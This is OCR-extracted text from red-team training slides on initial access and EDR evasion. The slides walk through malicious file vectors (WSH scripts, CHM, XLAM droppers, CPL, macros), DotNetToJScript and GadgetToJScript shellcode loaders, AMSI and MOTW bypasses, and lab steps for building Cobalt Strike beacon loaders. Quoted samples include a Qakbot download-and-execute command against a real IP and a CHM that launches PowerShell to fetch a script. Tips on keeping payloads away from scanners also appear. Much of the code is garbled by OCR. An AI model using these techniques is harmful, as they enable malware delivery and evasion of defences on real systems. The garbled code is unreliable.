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Initial Access & Evasion - EDR

Matt Hand

vy Oome [
Jun16 - 4minread - @ Listen

Hang Fire: Challenging our Mental Model of
Initial Access

» Phish to Persist

» instead of PhiShing To AcCcesSS (Matt Hand @Specterops)

» Strive for delayed & elonged execution

--> dechain File Write & Exec events

» Use VBA/WSH to Drop DLL/XLL
» COM Hijacking
» DLL Side-Loading / DLL Hijacking

(%LOCALAPPDATA%\Microsoft\Teams\version.dll) ~— | — -
» XL L Ey XLAM, WL L Pe rs i Sten ce - ' ' ervices\Foo ice. COmtoso.com

- >

» Drop VbaProject.OTM* to backdoor Outlook

» If dealing with CrowdStrike - drop CPL

» * %APPDATA%\Microsoft\Outlook\VbaProject.0TM




N

CLASSIC FILE INFECTION
VECTORS



Classic file infection vectors »

44 Forewonrd

and left as opt-in installable feature (Windows Servers)

» Initial Access is getting increasingly harder - becoming an art on its own!

» In a few years from now, Red Teams & TAs might not be able to execute Malware on tightly secured environments.

» Mac 0OS is heavily locked up some time by now. What works on macO0S?

» Unsigned .APPs (as long as user gets through a few clicks)

» Office Macros + .SLK Excel4 macros - proven on macOS 13.2.1 Ventura and Microsoft 365 Office for Mac 16.71 23031200

» (but they’re constrained by GateKeeper entitlements (sandboxing))

» Not so many other viable file formats (.js / IXA is still a vector though, maybe .py also? © )
» That’s why Red Team community stopped sharing Initial Access TTPs, Payloads

» Harden your workstations and security systems, hunt for dangerous file formats and you eradicate Initial Access

BUY HOLD %

- e “n
C,

LNK, FHM . IS0, IMG Office Macros }bh Q@z

EXE + DLL Sideloading CPL VBS, HTA ‘39 qu
MST XLL* EXE <3 QZ?b
MSIX, APPX WSF, 3JS OneNote 7s
ClickOnce, VSTO XSL

Complex Chains
HTML Smuggling
ZIP, 7zip, Gz,

* https://www.bleepingcomputer.com/news/microsoft/microsoft-365-to-block-downloaded-excel-x11-add-ins-to-boost-security/



https://www.bleepingcomputer.com/news/microsoft/microsoft-365-to-block-downloaded-excel-xll-add-ins-to-boost-security/

Classic file infection vectors »

Typical Vectors

» This section covers typical non-Office file formats that can smuggle malware

proxylife
@prOxylife

#Qakbot - obamal96 - .html > .zip > .Ink > .dll
HTML Smuggling.
cmd.exe /c set ri=regs

curl -s -0 %temp%\theyOneAs.png
http://194.36.189.]211/whoThing.jpg

call %windir%\system32\%r1%vr32
%temp%\theyOneAs.png

bazaar.abuse.ch/sam o] e/93f1d8a... https://twitter.com/prOxylife/status/154217
2803662856195
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Don’t scan your Payloads

» Payload uploaded to VirusTotal => minutes later gets signatured by all vendors

» If you want to be serious about Red Team MalDev - build an offline lab with AVs/EDRs preinstalled.

»  Even if it’s offline, turn off Cloud/Reputation scanning, samples submission. Just for case.

» I’°d be wary using websites claiming they don’t share samples:

CROWDSTRIKE
% AntiScanMe  #login &SignUp @Faq HiBlog & Contact L 4 scans remaining FAI_EUN ENDP[]INT AND ”]ENT'TY
PROTECTION

UNIFY THE TECHNOLOGIES, INTELLIGENCE AND EXPERTISE REQUIRED TO SUCCESSFULLY STOP BREACHES

‘ File

START FREE TRIAL

NEW UPDATE See new features on the blog.
If you have trouble with uploading a file - clear cookies and browser cache.

DISCOUNT! TOP-UP BANALCE AND GET 50% FREE FALCON COMPLET

AVCHECK API - WORK

Inquire about

$8.99 $15.99 Inquire about pricing™*

per endpoint/month* per endpoint/month*

‘ Choose file ‘ No file chosen

o

Scan A File

Select your file in order to scan your file with over 26 anti-viruses.

Contact us for enterprise or global pricing.
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Typical Vectors - Word on AMSI

» Anti-Malware Scan Interface (AMSI)

PS C:\Users\Mariusz>
PS C:\Users\Mariusz>

PS C:\Users\Mariusz>

PowerShell 3 —
MsMpEng.exe

(Windows Defender Service)

PowerShell (>2.0) .

—
JavaScript . e : l I

AMSLh + AMSLIib+ AMSLdll VBScript
Win32 API! Layer AnpsiScanBuffer()

AnsiScanString()

MpEngine .dll
(Defender Scan Engine)

VBA (office macro)
X
i AN ONE,

User Account Control (UAC) elevations

< Excel 4.0 macros —
7 Volume shad i 'vr' - l!g’
< olume shadow copy operations LY —~

/@‘ .NET in-memory assembly loads

COM API Layer

AV Provider Layer Windows Defender Provider Class 3™ Party AV Provider
IAntimalwareProvider: : Scan() Class
#@C

MpSve.dll
(Defender RPC Server)

https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-
Korkos-AMSI-and-Bypass.pdf
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<script language="VBScript">
i <! [CDATA[

Typ i C a 1 Ve C t O r S B ws H Function xsuitablen(itransforms)

Dim xselectx .
Set xselectx = CreateoObject("ADODB.Stream")

xselectx.Type = 1

» Wlndows Scr\lpt HOS-t (WSH) ;zg]lggg:gﬁge itransforms

8 xselectx.Position = 0 WSF
** VBS Soon to be decommissioned and xselectx.Type = 2
» VBE, VBS - VBScript** Left as optionally installable feature xselectx.charset = "us-ascii”
(esp. on Windows Servers) xsuitablen = xselectx.ReadText
» JSE, 1S - Jscript* b ouns
. . . ub puniverser(Q)
* JScript preferrable over Visual Basic DﬂlﬁOﬂanbwam
. . . . . D1m gsai
due to syntactic flexibility Lletting us set &awd__CmaWOMeﬂ(Wﬁcﬁptsm1V)
» XSL - XML . nbryanr = gsaidd.Expandenvironmentstrings ("%TEMP%")
obfuscate it more & subtle language Sbotn = nbryanr & "\65hzCATGbN. X1
. . nuances Dim Etecﬂmcaqr - e ] . 9
—_ set htechnicalr = createobject("scripting.Filesystemobject’
» HTA HTML Appllcatlon If htechnicalr. Fo'IderEx‘lstg(nbr anr)pThe% Y ]
If htechnicalr.FileExists(jbocn) Then
htechnicalr.peleteFile(jbocn)
. . . End If
» WSF - Windows Script File
vbeew gsaidd, ajbocn VBS
. h%echmca'lr DeleteFile(jbocn)
. . . End I
» Language agnostic file format - VBS, JS, Python, PHP, Perl, Rexx, LotusScript (never tested them) End sub
puniverser

» Allows multiple scripts (,,jobs”) and combination of languages within a single file

_| PythoninWsF.wsf - Motepad

| | File Edit Format View Help

<job>»
1 = T {script language="VBScript">
<exmiversion= 1.0 <> XSL MsgBox "hello world (from wb)"
Tesh f ‘base64Tostream(b) { </script>
‘ <stylesheet unction base64ToStream . T TP,
' Set a ove?"( var enc = new Activexobject('system.Text.ASCIIEncoding™); <script language="J]Script”>
xmIns="http://www.w3.0rg/1999/XsL/Tri var length = e”C-GetBVteCOU“t—ZCb); WSH.echo("hello world (from js)");
& "urn:schemas-microsoft-com:xs1: var ba = enc.GetBytes_4(b); ; : o
oo 1 on=1.0? . var transform = new Act'lvexobjectc System.Security.cCryptography.FromBase64Transform™); <fscript>
ST WEFE @=L 0E ba = transform.Transformrinalglock(ba, 0, Tength); ipt 1 —"Python”
. xmlns:user="placehold: var ms = hew Actwexobaect( System.IO. Memorystream DN <5Crlp anguage= rython
End If o ms.write(ba, 0, (lengt * 3); import os
version="1.0"> ms.Position = 0; ,
. <output method="text"/> return ms; JS os.system{"cmd.exe /c ::al=:| )
'Dim rarounds, sfoldingq N </scripts
<ms:script implements-prefix= s . L
var serialized_obj = %SERIALIZED%; </job>
var entry_class = "%CLASS%'; ’
"Tmis try { .
i i i setversion(); L. .
. Private tguidedn,xarabiaz,tk var stm = base64Tostream(serialized_obj); R ) .
Function L_Jhayeg,dC:staggedj) var fmt = new Activexobject('system.Runtime.Serialization.Formatters.Binary.BinaryFormatter') Python needs to be pre-installed and available in %PATH%

var al = new Act'i\_/exc_)bject('S%fstem.Co'I'Iect"lons.ArrayL'lst'),
var d = fmt.peserialize 2(stm):
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Classic file infection vectors »

Typical Vectors - WSH - Viable strategies for WSH scripts

First, lets discuss what can we achieve with WSH and what actually works.

Multiple various infection strategies possible in WSH, yet only a few practical & effective

Strategy #1:
Strategy #2:
Strategy #3:
Strategy #4:

Strategy #5:

File Dropper

DotNetTolScript / GadgetToJScript
XSL TransformNode

XLAM Dropper

COM Hijack - Not Covered Today.
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Typical Vectors - WSH - Strategies

» Every VBA strategy that needs to run a file, requires a “launcher”
» “Launcher” is a way to run program in Windows.
» There are at least 16+ available launchers
» Examples include:
» WScript.Shell
» WMI Win32 Process: :Create
» Shell(...)

» And many others

» Today, too keep our examples simple we’ll stick to WScript.Shell

» although it’s very prone to detections



Classic file infection vectors »

Typical Vectors - WSH - Strategies

» Strategy #1: File Dropper
» Simplicity at its best!
» 1. Just download a file from the Internet / UNC share or unpack from itself somehow
» 2. Save the file onto workstation

» 3. (Optionally) Run the file directly or indirectly via LOLBIN (by the use of a Launcher)

» Exercise 1: (VBS) Review contents of a simple File Dropper
» Explain what the script does

» Sample: Exercises/dayl/Exercise 1 - VBS File Dropper/1l.dropper.vbs
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Typical Vectors - WSH - Strategies

» Strategy #2: DotNetTolScript / GadgetToJlScript

» Devised by James Forshaw, a way to deserialize and run .NET executables in-memory

Invoke .NET interfaces from within WSH scripts through .NET Inter-Operability

~
~

» Use BinaryFormatter to deserialize .NET object and invoke its marshalling

» Deserialized object can be of Delegate (,pointer”) type pointing at Assembly.Load
» That delegate gets called in DynamicInvoke(..) and runs our .NET Assembly
Examle: Public constructor Method to invoke with ComVisible adnotation Namespace example with a custom parameter passed to
our .NET assembly:
DotNetToJScript.exe -1 VBScript -c DotNetToJScript.exe -1 VBScript -c DotNetTolScript.exe -1 VBScript -c
TestClass -o testl.vbs testl.dll TestClass -o test2.vbs test2.dll MyNamespace.TestClass -o test3.vbs test3.dll
Ci# code: using System.Diagnostics; using System.Diagnostics; using System.Diagnostics;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
public class TestClass
{ [ComVisible(true)] namespace MyNamespace
public TestClass() public class TestClass {
{ { ferunalidalfar e DotNetToJScript
Process.Start("notepad.exe"); public TestClass() {} public class TestClass
T public void RunMe(string arg)
¥ { public TestClass() {} e Uses BinaryFormatter to deserialize a COM Visible delegate
Process.Start("notepad.exe"); public void RunMe(string arg)
} {
! Process.Start(arg); BuildLoaderDelegat e[] assembly) {
} res = . elegate (
¥ typeof ( <
¥ typeof ( G
Call Set o = Set o = Set o = " ", new [1 { typeof (b [1y »):
executed |d.DynamicInvoke(al.ToArray()).CreateInst |d.DynamicInvoke(al.ToArray()).CreateInstanc |d.DynamicInvoke(al.ToArray()).CreateInstance(e
in a ance(entry_class) e(entry class) ntry class)

return new (res.DynamicInvoke) ;

script:
o.RunMe "™ o.RunMe "notepad.exe"”
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Typical Vectors - WSH - Strategies
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function Base64ToStream(b,1) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_Z(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.Frol
ba = transform.TransformFinalBlock(ba, @, length);
var ms = new ActiveXObject("System.I0.MemoryStream");
ms.Write(ba, 0, 1)
= ms.Position = ©;
return ms;
}
var stage_1 = "AAEAAAD/////AQAAAAAAAAAMAGAAAFSNaWNyb3NvZnQuUGY3ZXJTaGVs!
var stage_2 = "AAEAAAD/////AQAAAAAAAAAMAGAAAFdTeXN@ZWOuV21uZG93cySGh3Jte
try {
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319";
try {
shell.RegRead( "HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.3
} catch(e) {
ver = 'v2.0.50727";
}
shell.Environment('Process')('COMPLUS_Version') = ver;
var ms_1 = Baseb64ToStream(stage_1, 2341);
var fmt_1 = new ActivexObject('System.Runtime.Serialization.Formatt
fmt_1.Deserialize_2(ms_1);
} catch (e) {
try{

var ms_2 = Base64ToStream(stage_2, 12936);
var fmt_2 = new ActiveXObject('System.Runtime.Serialization.For
fmt_2.Deserialize_2(ms_2);

}catch (e2){}
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anOn
@an0n_r0

>

GadgetToJScript JS payload (last commit in 2021) bypassing Windows
Defender AMSI with this super minimal common dumb JS obfuscation in
2023.

Anyhow, long live GadgetToJScript by @med0x2e!

function Base64ToStream(b,1) [{

WNRESOSO®NO WU W
T

var enc = new ActiveXObject("System.Text.ASCIIEncoding");

var length = enc.GetByteCount_2(b);

var ba = enc.GetBytes_4(b); —
var transform = new ActiveXObject("System.Security.Cryptography.Fron ﬂ
ba = transform.TransformFinalBlock(ba, @, length);

var ms = new ActiveXObject("System.IO.MemoryStream");

ms.Write(ba, @, 1);

var t = ["aaa", "Position”};

ms[t{i]] = o;

return ms;

stage_1 = "AAEAAAD/////AQAAAAAAAAAMAGAAAFSNaWNyb3NvZnQuUG93ZXJTaGVst
stage_2 = "AAEAAAD/////AQAAAAAAAAAMAQAAAFdTeXNOZWeuV21uZG93cy5Gh3Jte
{

var shell = new ActiveXObject('WScript.Shell');

ver = 'v4.0.30319';

try {

shell.RegRead( 'HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.3¢
} catch(e) {
ver = 'v2.0.50727"';

}

shell.Environment('Process')('COMPLUS_Version') = ver;

var ms_1 = Baseb64ToStream(stage_1, 2341);
var fmt_1 = new ActiveXObject('System.Runtime.Serialization.Formatte
fmt_1.Deserialize_2(ms_1);

} catch (e) {

try{
var ms_2 = Base64ToStream(stage_2, 12936);
var fmt_2 = new ActivexObject('System.Runtime.Serialization.Foxn
fmt_2.Deserialize_2(ms_2);

}catch (e2){}

Istvan Toth (an@n) - https://twitter.com/an@n r@/status/1633620693504913408/photo/1

Both DotNetTolScript and GadgetTolScript are still deadly effective
as long as you MILDLY obfuscate their source code ©


https://twitter.com/an0n_r0/status/1633620693504913408/photo/1
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Typical Vectors - WSH - Strategies

» Strategy #2: DotNetTolScript / GadgetToJlScript

» MANUAL Exercise 2: (J3Script) Running Beacons

»

»

»

»

»

If you don’t have Cobalt Strike Llicense, use C:\Training\Test-Shellcodes\calc64.bin shellcode

Step 1a: Compile shellcode runner (mind the architecture):

cmd> cd C:\Training\Tools\rogue-dot-net

cmd> py generateRogueDotNet.py -c x64 "c:\Training\Beacons\httpsl x64.xprocess.bin" -o "c:\Training\Exercises\dayl\Exercise 2 - DotNetToJScript\beacon.dll,,
Alternatively, with QueueAPC 1injection:

cmd> py generateRogueDotNet.py --queue-apc -c x64 "c:\Training\Beacons\httpsl x64.xprocess.bin" -o "c:\Training\Exercises\dayl\Exercise 2 - DotNetToJScript\beacon.d1l1l"

Step 2a: (DotNetToJScript) Convert generated .NET assembly to a VBScript / VBA / Jscript:

cmd> DotNetToJScript.exe -c ProgramNamespace.Program -1 JScript -o "c:\Training\Exercises\dayl\Exercise 2 - DotNetToJScript\beacon.js c:\Training\Exercises\dayl\Exercise 2 -

DotNetToJScript\beacon.dll,,

Step 2b: (GadgetTolScript) Convert generated .NET assembly to a VBScript / VBA / Jscript:

cmd> GadgetToJScript.exe -w js -b -o "c:\Training\Exercises\dayl\Exercise 2 - DotNetToJScript\gadg-beacon.js" -a "c:\Training\Exercises\dayl\Exercise 2 - DotNetToJScript\beacon.dll"
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Typical Vectors - WSH - Strategies

» Strategy #2: DotNetTolScript / GadgetToJScript

» MANUAL Exercise 2b: (JScript) Generate DotNetToJlScript Payload that exposes custom method

»

»

»

»

»

Step 1la: Design your malware in C# - Use a generator script (-c x86 on VM -c x64 on your host):

» cmd> cd C:\Training\Tools\rogue-dot-net

» cmd> py generateRogueDotNet.py -t run-command -o sample2.dll -c x64 doesnt-matter

Step 1b: Or design your own C# code and compile it with built-in CSC.EXE compiler:

» cmd> C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /target:library /out:sample2.dll sample2.cs

Step 2: Convert generated .NET assembly to a VBScript / VBA / Jscript:

» cmd> DotNetToJScript.exe -1 JScript -c ProgramNamespace.Program -o sample2.js sample2.dll

Step 3: Add one line to generated sample2.js that actually invokes exposed ProgramNamespace.Program.Foo(string command) method:

o.Foo(,,calc.exe”);

Step 4: Run your sample:

» cmd> wscript sample2.js

112
113
114
115
116
117
118
119
120
121
122
123
124
125
126

{

setversion();

var stm = basebAToStream(serialized obj);

var fmt ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al ActiveXObject('System.Collections.Arraylist');

var d = fmt.Deserialize 2(stm);

al._Add (undefined);

var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

—o.Foo("calc.exe");

}

(e) {

debug(e.message);
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Typical Vectors - WSH - Strategies

» Strategy #3: XSL TransformNode

» Simple, yet powerful technique to run XSL/XML files in-memory, while maintaining low IOC footprint

» Caveat: XSL containing VBScript won’t be executed by Office VBA (Access 1is denied) however Jscript in XSL will.

» MANUAL Exercise 3: Convert JS from Exercise 2 -> embed it into XSL -> run it with VBS
» Copy calc.xsl into sample3.xsl
» Copy sample2.js from Exercise 2 and paste it into sample3.xsl CDATA
» Run start-webserver.bat

» Double click on 3.xsl-runner.vbs

),

~

Sample: Exercises/dayl/Exercise 3 - XSL/3.xsl-runner.vbs
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Typical Vectors - WSH - Strategies

» Strategy #4: XLAM Dropper

* XLAM - Macro-Enabled Excel Add-In file, typically saved in Trusted Location

» When they are dropped to %APPDATA%\Microsoft\Excel\XLSTART - they are auto-executed when starting Excel

» Persistence / Phish-to-Persist code execution

» We can create VBS that will automatically create Excel+VBA and drop it there.

» To do it, we will utilize Office Automation
» => dynamically create Excel file
» => inject VBA code into it
» => save it into Trusted Path

» => and run it.

e Qur Exercise 4 sample will not quite be XLAM but merely a simple XLS
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Typical Vectors - WSH - Strategies

55 With CreateObject("Excel.Application")

56 obf_ExcelVer = .Version

57

58 obf_regPathl = "HKCU\Software\Microsoft\Office\" & obf_ExcelVer & "\Excel\Security\AccessVBOM"
59 obf_vbom = @

60

61 On Error Resume Next

62 obf_vbom = obf_shell.RegRead(obf_regPathl)

63

64 If err.number <> @ Then

65 obf_vbomexisted = False

66 err.clear

67 Else

68 obf_vbomexisted = True

69 End If

70

71 If (obf_vbom <> 1) Or (obf_vbomexisted = False) Then

72 obf_shell.Reghrite obf_regPathl, 1, "REG_DWORD"

73 End If

74

75 Set obf_objWorkbook = .Workbooks.Add()

76 obf_objWorkbook.Application.DisplayAlerts = False

77 Set obf_xlmodule = obf_objWorkbook.VBProject.VBComponents.Add(1)

78

79 obf_code = ""

80 obf_code = ""

81 obf_code = obf_code & "JyBCYXNINjQgzZGVjb2R1lcglKDQpQcml2YXR1IEZ1bmNOaWIuIG9iZ19TaGVsbGNVZGVGdWS5jMygpIEF
82 obf_code = obf code & "b2ImX1NoZWxsY29kZVZhcjE2ID@gIiINCgeKICAgIG9iZ19TaGVsbGNvZGVIWYXIXNIA9IG9iZ19TaGV
83 [ooo]]

84 obf_code = obf code & "lcikgKyAzNSkgTWOkIDI1Ng®KICAgIE51eHQNCiAgICBvYmZFRGVjb2R1QmMFzZTY@IDOgb2ImXOR1Y2
85 obf_code = obf_code & "vYmZfUHIvY@Vycm9yOgOKRWSkIEZ1bmNeaWsSu™

86 obf_code = obf_DecodeBaseText64(obf_code)

87

88 obf_x1lmodule.CodeModule.AddFromString obf_code

89 obf_objWorkbook.SaveAs obf location, 56, obf_password

=)

91 ' Restore original AccessVBOM value.

92 If obf_vbomexisted = False Then

[k obf_shell.RegDelete obf regPathl

94 ElseIf obf_vbom <> 1 Then

95 obf_shell.RegWrite obf regPathl, obf_vbom, "REG_DWORD"

96 End If

97

98 Set obf_excel = .Workbooks.Open(obf_location, @, True, , obf password)
99 -Run "obf_Runtime"

108 obf_excel.Close true

lel

102 .Quit

1e3 End With

1e4 End Sub
1068



»

»

»

»

»

Classic file infection vectors » https://twitter.com/stoerchl/status/1582382987047743488

VBS/JS MOTW Bypass

Bug affecting Windows 10/11, Server 2019/2022

If MOTW-labeled VBScript/Jscript contain digital signature (even self-signed) SmartScreen doesn’t block its

execution

Already fixed by Microsoft, but still that’s something worth adding here. Windows protected your PC

Windows Defender SmartScreen prevented an unrecognized app from

starting. Running this app might put your PC at risk.

We can ,,digitally sign” our scripts with SignTool:

cmd> cd repo\Exercises\day3\Self-Signed Threat

cmd> SignTool sign /v /t http://timestamp.comodoca.com/authenticode Opens wit: @ wo8 | Change.
Location: C: Uze " Antivirus. Upgrade. Dat

/fd SHA256 /shal ©68123F695D59396DAC89BD29A0387F55CCO983D
/T MSKernel32Cloned.pfx /p Password!

vbs-js-motw-bypass\calc-signed.js

Accessed:

Attributes: ead-only  [] Hidden Advanced...

Security: ame her Jock
blocked to [ Ublock

Cancel



https://twitter.com/stoerchl/status/1582382987047743488

. . . . <?xmT version="1.0"7>
Classic file infection vectors » <component>
<registration progid:"SSlHV.H?FSX" classid="{38b3" _
& "dd76-c4ee-" _
& "44d0-978e-4ce2d7e14b0f}">

Typical Vectors - COM Scriptlets

<script language="VBScript">
<! [CDATAL

Function htomorrowy(esuspendede)

» COM Scri pt 1 ets g;? ﬂilﬁiﬁm = CreateObject("ADODB.Stream™)

ucjtegw.Type =1

. ucitedw.open

» SCT - COM SCPlptlet ucitedw.write esuspendede WSC
ucitedw.Position = 0
ucitedw.Type = 2

. . ucitedw.charset = "us-ascii”

» WSC - Windows Script Component :

htomorrowy = ucitedw.ReadText
Set ucitedw = Nothing
End Function

» INF-SCT - CSMTP accepts INF which can execute COM Scriptlets

Function rsmokingbChmuzep)

» Used to instantiate COM objects C: \Windows\system32\sc

g rundl132.exe javascript:”\..\mshtml, RunHTMLApplicatio
»
vid RegSVP32 “;document .write () ;GetObject (“script:http://127.0.0.1:8
Exec () ;

080/calc.sct").

» via GetObject
example.sct

<?XML version="1.0"?>

<scriptlet>

<registration
progid="pPoC" SCT
classid="{F0001111-0000-0000-0000-000OFEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="3JScript"»
<! [CDATA[
//x86 only. C:\Windows\Syswow64\regsvr32.exe fs fu /i:file.sct scrobj.dll

var scr = new ActiveXobject("MSScriptcControl.ScriptControl™);
scr.language = "JScript”;
scr.ExecuteStatement('var r = new ActiveXObject("WScript.Shell™).Run("calc.exe");");

scr.Eval('var r = new ActivexObject("WScript.sShell™).Run("calc.exe");");

//https://msdn.microsoft.com/en-us/library/aa227637(v=vs.60).aspx
//Lots of hints here on futher obfuscation
11></script>

</registration>

</scriptlet>
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Microsoft Excel Security Notice ?

Warning: There is no digital signature available.

Typical Vectors - Executables O —

» Executable files

»

»

»

»

»

»

EXE

CPL

XLL

WLL

010 {

SCR

Control Panel Applet (DLL)

Excel Add-In (DLL) - about to be blocked

Word Add-In (DLL)

DLL implementing ActiveX interfaces

(used by Lazarus Group in Sep, 2022)

Screensaver (EXE)

» Unless dealing with CrowdStrike

»

»

CPL files are excluded from scanning

100% Success Rate, No Joke

File Path: | ch\Users\siiDownloads\runner.xdl

This application add-in has been disabled. Add-ins might contain viruses
or other security hazards.

More information

Enable this add-in for this session only. Leave this add-in disabled.

TN External parameter 2SR

Location folder Malware s 2
project algorithm

ibpcre 8.44

nal of
( 1 bu Security
and Privacy

Article
An Empirical Assessment of Endpoint Detection and Response
Systems against Advanced Persistent Threats Attack Vectors

George Karantzas ! and Constantinos Patsakis **

4.2. CrowdStrike Falcon

CrowdStrike Falcon combines some of the most advanc
tures with a very | intuitive user 1nterface The latter provides

4.2.2. DLL-CPL-HTA

None of these three attack vectors produced any alerts and allowed the Cobalt Strike
beacon to be executed covertly.



https://www.bleepingcomputer.com/news/microsoft/microsoft-365-to-block-downloaded-excel-xll-add-ins-to-boost-security/
https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/

Classic file infection vectors »

Typical Vectors - Maldocs

» Dodgy VBA macros

» Consider applying Defender ASR Bypasses
» Prepend with “Enable Macro” lure message + lure-removal automation

» Gazillion of different weaponization strategies - yet merely few effective:

» File Dropping-based
ﬁ Microsoft Visual Basic for Applications - Normal - [Module1 (Code)]

» DotNet TOJ S / Gadget TOJ S -'EIi;I vErj.; View lns-e‘;t ;;rmat Debu:j iun JI(:E ‘:;A:‘id-_ll;s’;‘M\'nduw'O}:{eLl:1 -
Project - Project )(‘ (General)
» Jscript XSL L[]

= S_ﬁ Normal
#- (1] Microsoft Word Objects
= h:‘Edr:-‘&l?fdsb"\ECTDS
» Documents that support Auto-Execution B Profect (T s
] ThisDocument
55 Modules

» Typical Word, Excel ones 2 Moduiet

(7] References

netersc As String
1()

"" "7 . " 00 02B-2D1") & Chr(Int(""
» pub - Publisher - ") & chs (o .

rsc)

» rtf - disguised Word document

» VbaProject.otm - Outlook macro

Properties - Module1
Modulel Module

» Macro-Enabled Office still not eradicated Attt [orpepaies)

(Name) Modulet



https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
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Typical Vectors - Maldocs S TC T O

G Al
<4 29
» Some Office documents do not support Auto-Exec e e e F -
Microsoft Access Security Notice ! X
» But yet they can be instrumented to run VBA (CustomUI) ) st sty oot s i ated
» ppt, ppsm, pptm - PowerPoint ey T
)) a c c d e J md b - M i C r‘o S O-Ft AC C e S S This file might (;ntaln unsafe content that could harm your
» doc, docx - Word via Template Injection I
» X1s, x1sx - Excel via CustomUI Injection
B autosave @0of) 5]  probksloppim + £ Search (Alt+Q
» Lesser detected o |Po ﬁgmmgstwa A I BgRe ® 2] e

s AN <DIR> 24/05/2022 22:32
M| rels] <DIR> 24/05/2022 22:32
I [customUI] <DIR> 24/05/2022 22:32
I [docProps] <DIR> 24/05/2022 22:32
I [ppt] <DIR> 24/05/2022 22:32
[Content_Types] xml 3,071 31/12/1979 23:00

‘ Lister - [d:\dev2\red-team-macros\output-files\probka10\customUN\customUl.xml] — m] X

File Edit Options Encoding Help 100 % . . .

- Click to add first slide

<customUI xmIns="http://schemas.microsoft.com/office/2006/01/customui”
onLoad="TT" >
</customuI>
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Typical Vectors - CHMs

» Microsoft’s Compiled Help Message files.

» Still supported on Winll, not seen abused that much in the wild.

» Just a bunch of HTML files & resources packed into a single file.
» Their UI is really sluggish, ugly. One could even say revolting.

» Can be used to run a system command whenever user browses into a backdoored page.

» Command execution results from MSHTML instantiating Internet.HHCtrl.1 COM object
after processing rogue <OBJECT CLASSID=,clsid:[..]”>

» Then we specify that Bitmap to display is pointed to by the Windows Shortcut.

» We can APPEND some data to .CHM and that won’t corrupt their structure, think of:

» Append .ZIP containing Malware to .CHM

» When CHM opened, run Powershell that extracts .ZIP out of .CHM and deploys Malware. (we’ll revisit this idea in embed-zip LNK)

» We can decompile existing .CHM -> backdoor it -> compile it bacRk. body

object id=Foobar classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7all" width=1 height=1

Even SysinternalsSuite.zip contains bunch of these

i

ADInsight.ex

> downloads > SysinternalsSuite.zip

OO0 ¢ OO0 #

accesschkeex  accesschk64  AccessEnum  AdExplorer.c
e .exe £xe hm

ADInsight64 adrestore.ex  adrestore64.  Autologon.e
e exe xe

D :
*
o

autorunsc.ex

& @ Introduction to DebugView
Introduction
Capabilities
ing DebugView
7] Starting DebugView
Capturing Debug Output
[2 Searching and Filtering
Saving, Printing and Logging
[? Options
[2 Running in the Tray
Logging at Boot Time
[@ Crash Dumps
& (0 Remote Monitoring
Preparing for Remote Monitoring
[# Managing Remote Views
Managing Multiple Windows
Reporting Problems
[2 Reporting Problems

D :

Contig.exe

L

Dbgview.ch

: 3

param name="Command" value="ShortCut"
param name="Button" value="Bitmap::shortcut"
param name="Iteml" value=',cmd.exe,/c calc'
» Examples: repo\Exercises\Day1\CHM param name="Item2" value="273,1,1"
object
script
» Hardly detectable. Foobar.Click();

script

ADExplorer.

Autologon6

v C

ADExploreré ADInsight.c
exe 4.exe hm

1° II0E

Autorunst4.

autoruns.ch Autoruns.ex

Aexe m (3

Sysinternals DebugView

Copyright © 1999-2004 Mark
Russinovich

Sysinternals -
www.sysinternals.com

DebugView is an application that lets you
monitor debug output on your local system, or
any computer on the network t you can reach
via TCP/IP. 1t is capable of
kernel-mode and Win32 debug outp
bu so you don’t need
utput your

to use non-Windows debug functions in order to
view its debug output.

License

You may not redistribute Debug\few in any form
without the express written permission of Mark
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Typical Vectors - CHMs

» Recently observed in Russia/Chinese themed campaigns (dubbed as BITTER or Operation False Flag)

» CHMs used to run VBS or quietly install MSI

% BIEYOIFURH

NPHIHaTE H OPHBECTH B HCNOJHEHHE pENIEHHE B COOTBETCTEHH C NONOKEHHEM
HapoJHOTO NOTOBOPA, KOTOPHIA OBl 3AKMHYEH Me TNpeCTABHTENAMH
KOMTIAHHH Ha TeppHTOpHA PJ H NpeJcTaBHTeNIME KOMITAHHH Ha TeppHTOpHH KaTas
B pamxax Kpyraoro crona 6yayT 3aTPOHYTE! CleJVIOMHE TeMEL
e TlpHzHAHHE H HCIOIHEHHe Cye0HEIX peleHHi Ha TeppHTOpHE KuTas.
CnocoOk! B3BICKAHAA 33J0DKeHHOCTEH HA TEPPHTOPHE HA TEPPHTOPHH
Knras.
TlofBeqOMCTREHHOCTE M NOJACYJHOCTE apOHTPIKHEIM CYJaM Ha
TeppHTOPHE POCCHH e ¢ YMacTHeM HHOCTPIHHEIX JTHII.
S;ﬁ:x:;ff§$§;;:§;£?°“p“””“’“““““"“m“m““”” . https://twitter.com/fmc nan/status/16391756330194780172t=xNzfCLn4 CvAVWzvoOTgVQ&s=19
TTOATOTOBKA X PACCMOTPEHHIO AST ¢ YIACTHEM HEOCTPAEHEIX THI B https://twitter.com/fmc nan/status/1634020711097585664?t=Lm4sVtUTYS7b0djc7wP9GO&s=19
Poccan
OcobferHOCTH PacCMOTpPEHHA  Jen [+ VHACTHEM HHOCTPAaHHOIO
rocyJapcTea.
H ap.

Command"
;Ia'ra H BpemA npopejenns: 16 mosdpa 2022r, 11:00-1 (MoCKOBCKOR "Button"
BpeMA).

@ o . . . 1 l="y" name="Iteml" wvalus d.e » powershell -w 1
opMat: rE6pHHEE (onnain/odnait C e i oL

Agpec npoBelenms MepompmaTma: Mocksa, OSmecTeeHHaZ mnanara e-WebRequ H « T mmunity . or
ds\\temp.vbs:&

Mogepatop: I'enepansreiil gupextop Sinoruss Cypara Pagraesa temp.vbs; ">

